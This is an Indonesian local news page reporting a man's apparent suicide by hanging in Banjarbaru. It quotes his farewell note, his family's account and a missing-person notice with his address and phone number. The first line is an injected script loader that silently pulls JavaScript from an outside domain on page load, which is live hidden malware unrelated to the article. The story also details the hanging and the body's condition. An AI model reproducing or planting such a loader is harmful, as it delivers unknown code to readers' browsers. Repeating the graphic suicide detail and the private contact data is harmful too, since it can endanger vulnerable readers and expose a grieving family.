(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Minta Dibuatkan Tahu Goreng, Asmadi Ditemukan Sudah Jadi Mayat


BANJARBARU, Sesosok mayat tergantung seutas tali di areal semak belukar kawasan Jl Jafri Zam zam II, Kelurahan Kemuning, Banjarbaru Selatan, Rabu (14/3). Jenazah yang diketahui bernama Asmadi sebelumnya meninggalkan rumah sejak Sabtu (10/3) dan sempat dilaporkan hilang oleh keluarganya.

Penemuan mayat yang diduga merupakan korban bunuh diri ini terungkap dari warga yang mencium bau busuk dari arah semak belukar di lokasi. Suci (68), penjual pentol yang kerap mangkal di sekitar lokasi pertama kali mencium bau menyengat seperti bangkai. Dia kemudian mengajak Ahmad Nurul Hidayat (27) untuk mencari tahu asal bau tersebut.

“Apakah bangkai binatang atau apa, karena cukup menyengat,” ujar Suci.

Setelah dicek ke areal hutan semak-semak, mereka menemukan sosok manusia yang dalam kondisi tergantung tali yang terikat pada pohon. Saat ditemukan, kondisi mayat cukup mengenaskan dengan tubuh melempuh dan kepala yang rusak. Atas penemuan tersebut, mereka kemudian menyampaikan kepada Amrullah (34), warga yang tinggal di dekat lokasi.

Amrullah yang ternyata juga merupakan tetangga almarhum, kemudian menghubungi Bhabinkamtibmas Kelurahan Kemuning Bripka A Sani dan selanjutnya menghubungi petugas dari Polsek Banjarbaru Kota sekitar pukul 14.00 Wita.

Foto : devi

Tim dari Polsek pun tiba di lokasi untuk melakukan olah TKP. Selanjutnya, jenazah dibawa dengan mobil Damkar Kabupaten Banjar ke RSUD Idaman Banjarbaru guna dilakukan visum.

Menurut keterangan Ahmad Ramadhani, adik ipar korban, Asmadi sudah meninggalkan rumah sejak 10 Maret lalu. Ketika itu dia menggunakan baju kaos warna merah lengan panjang. Sebelum melakukan aksi bunuh diri, Asmadi menuliskan surat wasiat kepada istrinya.

“Yang jaga anak lah. Yang, maafkan aku akan semua ini. Biar waktu yang berjalan. Semoga Allah mengembalikan kehidupan kita seperti yang kita nikmati enak lagi dan bahagia. Amin ya rabbal Alamin,”

Ya Allah, apa maksud dari semua ini. Ulun mohon ya Allah lindungi Istri dan anak-anak Ulun jangan sampai mereka terbengkalai,”

Jargon

Bola itu bundar

Bibun

Diduga Asmadi melakukan aksi bunuh diri karena depresi setelah diputus kerja dan mempunyai penyakit  typus parah. Korban yang awalnya bekerja di bagian kebersihan Dinas Tata Kota terpaksa berhenti kerja karena sakit yangg dideritanya sejak lima bulan terakhir. Selepas pengunduran dirinya, Asmadi sempat bekerja di salah satu tempat fitnes di Banjarbaru.

Nor Hidaya (28) istri korban mengatakan, sesaat sebelum pergi meninggalkan rumah suaminya sempat bercanda tawa dengan anak dan dirinya. Adapun permintaan terakhirnya adalah ingin di buatkan tahu tempe goreng. “Waktu itu Bapak minta buatkan tahu dan tempe goreng, kemudian pamit ke belakang nyusun kerdus,” ujarnya.

Sepulang dari pasar, Nor Hidaya memasak pesanan suaminya. Saat masakan sudah tersaji ia pun mencari suaminya namun tak menemukan. Dia sempat berfikir suaminya sedang bersama teman-temannta. Tapi hingga malam menjelang, Asmadi tak kunjung pulang. Nor pun resah hingga melaporkan berita kehilangan ke polisi.

Isi laporannya: Nama: Madi. Alamat Zafri zam-zam 2 RT 13 No 140 Kelurahan Kemuning. Ciri-ciri : tinggi badan sekitar 160 cm, badan kurus, hilang memakai baju panjang warna merah tulisan “pemko kebersihan” celana pendek hitam memakai sandal adidas, hilang mulai hari Sabtu jam 10.00 pagi. No. Yg bisa d hubungi 085103860277. Terakhir yang ada melihat di seputaran Loktabat (Jl. Sidomulyo, belakang gereja, Pabrik Tahu Pong).

Empat hari kemudian, Nor Hidaya mendapat kabar bahwa suaminya sudah ditemukan. Namun sudah tinggal jasadnya yang membusuk. Dia mengatakan, tak ada gelagat mencurigakan yang ditunjukan suaminya sebelum kepergiannya.

Saat ini, Nor Hidaya yang menjadi tulang punggung anak-anaknya dengan menggantikan pekerjaan suaminya di tempat fitnes. “Ulun ae lagi yang gantikan bapak, anak-anak nitip sama ibu mertua” ujarnya.

Tarkait hal ini, Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Reskrim Polres Banjarbaru AKP Sudarno mengatakan jika Asmadi meninggalkan dua orang anak. “Dia meninggalkan surat wasiat. Diduga karena depresi,” katanya. (devi)

Reporter : Devi
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.